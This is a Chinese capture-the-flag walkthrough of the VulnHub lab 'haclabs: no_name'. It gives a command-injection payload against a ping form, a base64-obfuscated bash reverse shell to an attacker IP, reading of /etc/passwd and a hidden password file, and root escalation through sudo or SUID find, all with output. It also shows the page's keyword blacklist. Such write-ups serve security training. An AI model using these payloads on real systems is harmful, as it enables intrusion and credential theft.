HACLABS: NO_NAME

下载地址:haclabs: no_name ~ VulnHub

1 信息收集

1.1 端口扫描

$ nmap -A -p - -T4 192.168.56.105 -oA hl
Starting Nmap 7.92 ( https://nmap.org ) at 2022-04-04 19:46 CST
Nmap scan report for 192.168.56.105
Host is up (0.00075s latency).
Not shown: 65534 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
|_http-server-header: Apache/2.4.29 (Ubuntu)

1.2 后台目录扫描

$ gobuster dir -u http://192.168.56.105/ -w /usr/share/wordlists/dirb/big.txt -t 100 -x php
/.htaccess (Status: 403) [Size: 279]
/.htpasswd (Status: 403) [Size: 279]
/.htaccess.php (Status: 403) [Size: 279]
/.htpasswd.php (Status: 403) [Size: 279]
/admin (Status: 200) [Size: 417]
/index.php (Status: 200) [Size: 201]
/server-status (Status: 403) [Size: 279]
/superadmin.php (Status: 200) [Size: 152]

1.2.1 目录分析

  1. http://192.168.56.105/没啥东东

  2. 检查http://192.168.56.105/admin页面源码发现ctf-01.jpg图片

  3. 下载http://192.168.56.105/ctf-01.jpg到本地,并检查该图片的属性

    $ exiftool ctf-01.jpg
    ExifTool Version Number : 12.39
    File Name : ctf-01.jpg
    Directory : .
    File Size : 1273 KiB
    File Modification Date/Time : 2020:01:08 03:47:07+08:00
    File Access Date/Time : 2022:04:04 22:19:38+08:00
    File Inode Change Date/Time : 2022:04:04 22:19:38+08:00
    File Permissions : -rw-r--r--
    File Type : JPEG
    File Type Extension : jpg
    MIME Type : image/jpeg
    JFIF Version : 1.02
    Resolution Unit : inches
    X Resolution : 300
    Displayed Units X : inches
    Y Resolution : 300
    Displayed Units Y : inches
    XMP Toolkit : Adobe XMP Core 5.6-c145 79.163499, 2018/08/13-16:40:22
    Format : image/jpeg
    Title : Print
    Metadata Date : 2020:01:08 01:13:40+05:30
    Modify Date : 2020:01:07 19:43:46Z
    Create Date : 2020:01:08 01:13:40+05:30
    Creator Tool : Adobe Illustrator CC 23.0 (Windows)
    Thumbnail Width : 256
    Thumbnail Height : 184
    Thumbnail Format : JPEG
    Thumbnail Image : (Binary data 9857 bytes, use -b option to extract)
    Instance ID : xmp.iid:a3412909-d8a8-6648-a5ed-31d06952aaad
    Document ID : xmp.did:a3412909-d8a8-6648-a5ed-31d06952aaad
    Original Document ID : uuid:5D20892493BFDB11914A8590D31508C8
    Rendition Class : proof:pdf
    Derived From Instance ID : xmp.iid:5503d873-2c2c-9f48-8331-30e4ed0ca93d
    Derived From Document ID : xmp.did:5503d873-2c2c-9f48-8331-30e4ed0ca93d
    Derived From Original Document ID: uuid:5D20892493BFDB11914A8590D31508C8
    Derived From Rendition Class : proof:pdf
    History Action : saved, saved
    History Instance ID : xmp.iid:84756610-1bdf-6b45-96c1-43e0a804304d, xmp.iid:a3412909-d8a8-6648-a5ed-31d06952aaad
    History When : 2020:01:07 19:14:17+05:30, 2020:01:08 01:13:40+05:30
    History Software Agent : Adobe Illustrator CC 23.0 (Windows), Adobe Illustrator CC 23.0 (Windows)
    History Changed : /, /
    Startup Profile : Print
    Producer : Adobe PDF library 10.01
    DCT Encode Version : 100
    APP14 Flags 0 : [14], Encoded with Blend=1 downsampling
    APP14 Flags 1 : (none)
    Color Transform : YCbCr
    Image Width : 3509
    Image Height : 2482
    Encoding Process : Baseline DCT, Huffman coding
    Bits Per Sample : 8
    Color Components : 3
    Y Cb Cr Sub Sampling : YCbCr4:4:4 (1 1)
    Image Size : 3509x2482
    Megapixels : 8.7
  4. 查看http://192.168.56.105/superadmin.php页面发现可以执行ping命令

  5. 经过测试,发现只能执行以下命令:

    # 构造payload
    POST /superadmin.php HTTP/1.1
    Host: 192.168.56.105
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Referer: http://192.168.56.105/
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 105
    Connection: close
    Upgrade-Insecure-Requests: 1
    DNT: 1
    Sec-GPC: 1 pinger=127.0.0.1+|+id&submitt=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2 # 得到执行结果
    uid=33(www-data) gid=33(www-data) groups=33(www-data)
  6. 此处没有什么思路,后面查看提示得知还可以查看当前页面的源代码:

    命令注入小技巧:可以尝试是否可以获得当前页面源码

    # 命令注入:
    127.0.0.1 | cat superadmin.php # 得到superadmin.php页面源码
    <form method="post" action="">
    <input type="text" placeholder="Enter an IP to ping" name="pinger">
    <br>
    <input type="submit" name="submitt">
    </form>
    <?php
    if (isset($_POST['submitt']))
    {
    $word=array(";","&&","/","bin","&"," &&","ls","nc","dir","pwd");
    $pinged=$_POST['pinger'];
    $newStr = str_replace($word, "", $pinged);
    if(strcmp($pinged, $newStr) == 0)
    {
    $flag=1;
    }
    else
    {
    $flag=0;
    }
    } if ($flag==1){
    $outer=shell_exec("ping -c 3 $pinged");
    echo "<pre>$outer</pre>";
    }
    ?>

2 命令注入利用

2.1 尝试反弹Shell

bash -i >& /dev/tcp/192.168.56.102/2333 0>&1
echo "YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjU2LjEwMi8yMzMzIDA+JjE=" | base64 -d | bash -i

2.2 成功反强shell

$ nc -nvlp 2333
listening on [any] 2333 ...
connect to [192.168.56.102] from (UNKNOWN) [192.168.56.105] 47822
bash: cannot set terminal process group (636): Inappropriate ioctl for device
bash: no job control in this shell
www-data@haclabs:/var/www/html$

2.3 切换python Shell

python3 -c "import pty;pty.spawn('/bin/bash')"

3 提权

3.1 尝试提权

  1. 查看当前系统的cap权限设置

    www-data@haclabs:/var$ getcap -r / 2>/dev/null
    /usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper = cap_net_bind_service,cap_net_admin+ep
    /usr/bin/gnome-keyring-daemon = cap_ipc_lock+ep
    /usr/bin/mtr-packet = cap_net_raw+ep
  2. 查看/etc/passwd

    www-data@haclabs:/var$ cat /etc/passwd
    root:x:0:0:root:/root:/bin/bash
    daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
    bin:x:2:2:bin:/bin:/usr/sbin/nologin
    sys:x:3:3:sys:/dev:/usr/sbin/nologin
    sync:x:4:65534:sync:/bin:/bin/sync
    games:x:5:60:games:/usr/games:/usr/sbin/nologin
    man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
    lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
    mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
    news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
    uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
    proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
    www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
    backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
    list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
    irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
    gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
    nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
    systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
    systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
    syslog:x:102:106::/home/syslog:/usr/sbin/nologin
    messagebus:x:103:107::/nonexistent:/usr/sbin/nologin
    _apt:x:104:65534::/nonexistent:/usr/sbin/nologin
    uuidd:x:105:111::/run/uuidd:/usr/sbin/nologin
    avahi-autoipd:x:106:112:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/usr/sbin/nologin
    usbmux:x:107:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
    dnsmasq:x:108:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
    rtkit:x:109:114:RealtimeKit,,,:/proc:/usr/sbin/nologin
    cups-pk-helper:x:110:116:user for cups-pk-helper service,,,:/home/cups-pk-helper:/usr/sbin/nologin
    whoopsie:x:112:117::/nonexistent:/bin/false
    kernoops:x:113:65534:Kernel Oops Tracking Daemon,,,:/:/usr/sbin/nologin
    saned:x:114:119::/var/lib/saned:/usr/sbin/nologin
    avahi:x:116:122:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/usr/sbin/nologin
    colord:x:117:123:colord colour management daemon,,,:/var/lib/colord:/usr/sbin/nologin
    hplip:x:118:7:HPLIP system user,,,:/var/run/hplip:/bin/false
    geoclue:x:119:124::/var/lib/geoclue:/usr/sbin/nologin
    gdm:x:121:125:Gnome Display Manager:/var/lib/gdm3:/bin/false
    haclabs:x:1000:1000:haclabs,,,:/home/haclabs:/bin/bash
    mysql:x:122:127:MySQL Server,,,:/nonexistent:/bin/false
    yash:x:1001:1001:,,,:/home/yash:/bin/bash
  3. 得到yash家目录下的flag信息:

    www-data@haclabs:/home/yash$ cat flag1.txt
    Due to some security issues,I have saved haclabs password in a hidden file.
  4. 搜索yash用户创建的文件,得到关键信息:

    www-data@haclabs:/var/www$ find / -user 1001 2>/dev/null
    /home/yash
    /home/yash/flag1.txt
    /home/yash/.bashrc
    /home/yash/.cache
    /home/yash/.cache/motd.legal-displayed
    /home/yash/.profile
    /home/yash/.bash_history
    /home/yash/.gnupg
    /home/yash/.gnupg/private-keys-v1.d
    /home/yash/.local
    /home/yash/.local/share
    /home/yash/.local/share/nano
    /usr/share/hidden
    /usr/share/hidden/.passwd
  5. 查看/usr/share/hidden/.passwd文件内容

    www-data@haclabs:/var/www$ cat /usr/share/hidden/.passwd
    haclabs1234
  6. 得到haclabs家目录下的flag信息:

    www-data@haclabs:/home/haclabs$ cat fla
    I am flag2 --------------- ---------------- --------

3.2 切换用户

  1. 利用上一步收集的信息,尝试切换用户

    www-data@haclabs:/var/www$ su - haclabs
    Password: haclabs1234 haclabs@haclabs:~$ id
    uid=1000(haclabs) gid=1000(haclabs) groups=1000(haclabs),4(adm),24(cdrom),30(dip),46(plugdev),116(lpadmin),126(sambashare)
  2. 查看haclabs用户所拥有的sudo权限

    haclabs@haclabs:~$ sudo -l
    Matching Defaults entries for haclabs on haclabs:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin User haclabs may run the following commands on haclabs:
    (root) NOPASSWD: /usr/bin/find
  3. 查看当前拥有sid权限的命令

    haclabs@haclabs:~$ find / -perm -u=s 2>/dev/null
    /usr/lib/snapd/snap-confine
    /usr/lib/openssh/ssh-keysign
    /usr/lib/eject/dmcrypt-get-device
    /usr/lib/dbus-1.0/dbus-daemon-launch-helper
    /usr/lib/policykit-1/polkit-agent-helper-1
    /usr/sbin/pppd
    /usr/bin/pkexec
    /usr/bin/find
    /usr/bin/gpasswd
    /usr/bin/chfn
    /usr/bin/chsh
    /usr/bin/arping
    /usr/bin/passwd
    /usr/bin/traceroute6.iputils
    /usr/bin/sudo
    /usr/bin/newgrp

3.3 sudo提权

haclabs@haclabs:~$ sudo find /etc/passwd -exec /bin/bash \;
root@haclabs:~# id
uid=0(root) gid=0(root) groups=0(root)
root@haclabs:~# cd /root
root@haclabs:/root# cat flag3.txt
Congrats!!!You completed the challenege! () () \ /
----------
root@haclabs:/root#

3.4 find提权

haclabs@haclabs:~$ find /etc/passwd -exec /bin/bash -p \; -quit
bash-4.4# id
uid=1000(haclabs) gid=1000(haclabs) euid=0(root) groups=1000(haclabs),4(adm),24(cdrom),30(dip),46(plugdev),116(lpadmin),126(sambashare)
  • 默认情况下 bash 在执行时,如果发现 euid 和 uid 不匹配,会将 euid(即 suid) 强制重置为uid,使用-p能参数可以保留euid

HACLABS: NO_NAME的更多相关文章

  1. web基础---->request的请求参数分析

    当contentType为application/json的时候,在servlet中通过request.getParameter得到的数据为空.今天我们就java的请求,分析一下request得到参数 ...

  2. 往Android SDCard中读写入数据

    一.用Environment (写) 1.API获取sdcard的路径 File path=Environment.getExternalStorageDirectory(); path=new Fi ...

  3. VxWorks6.6 pcPentium BSP 使用说明(二):创建启动盘

    本篇介绍从Solaris.Linux.Windows或VxWorks创建VxWorks启动盘的方法. 从Solaris或Linux创建启动盘 使用Solaris或Linux自带的工具/usr/bin/ ...

  4. obj-c编程15[Cocoa实例03]:MVC以及归档化演示样例

    前面的博文里介绍了归档和解档,这里我们把它实际应用到一个简单的代码中去,将它作为一个多文档应用程序的打开和保存的背后支持.另外这里介绍一下MVC思想,这个在不论什么语言里都会有,它是一种设计思想,主要 ...

  5. obj-c编程15[Cocoa实例03]:MVC以及归档化示例

    前面的博文里介绍了归档和解档,这里我们把它实际应用到一个简单的代码中去,将它作为一个多文档应用程序的打开和保存的背后支持.另外这里介绍一下MVC思想,这个在任何语言里都会有,它是一种设计思想,主要可以 ...

  6. Python Django 学习 (二) 【Django 模型】

    注: 由于自己排版确实很难看,本文开始使用markdown编辑,希望有所改善 官方定义 A model is the single, definitive source of information ...

  7. tomcat源码---->request的请求参数分析

    当contentType为application/json的时候,在servlet中通过request.getParameter得到的数据为空.今天我们就java的请求,分析一下request得到参数 ...

  8. C 语言跟 C++ 的差异比较

    C++ 完整的 CHM 版离线手册,可以 从这里下载. C++头文件不必是 .h 结尾 C语言中的标准库头文件,例如 math.h 和 stdio.h,在C++中被命名为 cmath 和 cstdio ...

  9. LiteOS内核源码分析:任务LOS_Schedule

    摘要:调度,Schedule也称为Dispatch,是操作系统的一个重要模块,它负责选择系统要处理的下一个任务.调度模块需要协调处于就绪状态的任务对资源的竞争,按优先级策略从就绪队列中获取高优先级的任 ...

  10. 2.4 C++STL deque容器详解

    文章目录 2.4.1 引入 2.4.2 代码示例 2.4.3 代码运行结果 2.4.4 具体案例 总结 2.4.1 引入 deque容器类比vector容器来学习. deque为双向开口容器,见下图. ...

随机推荐

  1. Java语言进阶 day02【Collection、泛型】

    主要内容 Collection集合 迭代器 增强for 泛型 教学目标

  2. 3D旋转不能对齐,元素边倾斜

    1 <!DOCTYPE html> 2 <html lang="en"> 3 4 <head> 5 <meta charset=" ...

  3. Agileboot 1.6.0 发布啦 - 一款致力于规范/精简/可维护 的Springboot + Vue3的快速开发脚手架

    平台简介 AgileBoot是一套开源的全栈精简快速开发平台,毫无保留给个人及企业免费使用.本项目的目标是做一款精简可靠,代码风格优良,项目规范的小型开发脚手架. 适合个人开发者的小型项目或者公司内部 ...

  4. 玩好.NET高级调试,你也要会写点汇编

    一:背景 1. 简介 .NET 高级调试要想玩的好,看懂汇编是基本功,但看懂汇编和能写点汇编又完全是两回事,所以有时候看的多,总手痒痒想写一点,在 Windows 平台上搭建汇编环境不是那么容易,大多 ...

  5. web框架推导 wsgiref模块 jinja2模板语法 django框架简介 django基本操作

    目录 纯手撸web框架 web框架的本质 手写web框架 存在的问题 基于wsgiref模块 基本介绍 推导流程 代码封装优化 总结 动静态网页 jinja2模块 前端.后端.数据库三者联动 推导流程 ...

  6. AStar寻路算法示例

    概述 AStar算法是一种图形搜索算法,常用于寻路.他是以广度优先搜索为基础,集Dijkstra算法和最佳优先(best fit)于一身的一种算法. 示例1:4向 示例2:8向 思路 递归的通过估值函 ...

  7. js将时间戳转成时间格式

    let start_time = 1653007401082, date = new Date(+start_time), Y = date.getFullYear() + '-', M = (dat ...

  8. 洛谷P2196例题分析

    [NOIP1996 提高组] 挖地雷(原题) 题目描述 在一个地图上有\(N\)个地窖\((N \le 20)\),每个地窖中埋有一定数量的地雷.同时,给出地窖之间的连接路径.当地窖及其连接的数据给出 ...

  9. electron + go 如何从sqlite获取数据

    我现在的数据在sqlite中,保存在mac本地的一个文件中.用了electron+vue搭建了一个客户端. 我大概希望是这样的逻辑,先加载本地db文件,然后再获取数据. 这里就有一个问题,我怎么获取s ...

  10. ArcEngine开发 - 打开地图读取图层

    地图文档(IMapDocument)对象是ArcEngine开发最基本对象,可以说是所有操作的第一步.使用IMapDocument可以检查和打开地图文档,读取图层信息和文档信息,为源GIS并为您详细分 ...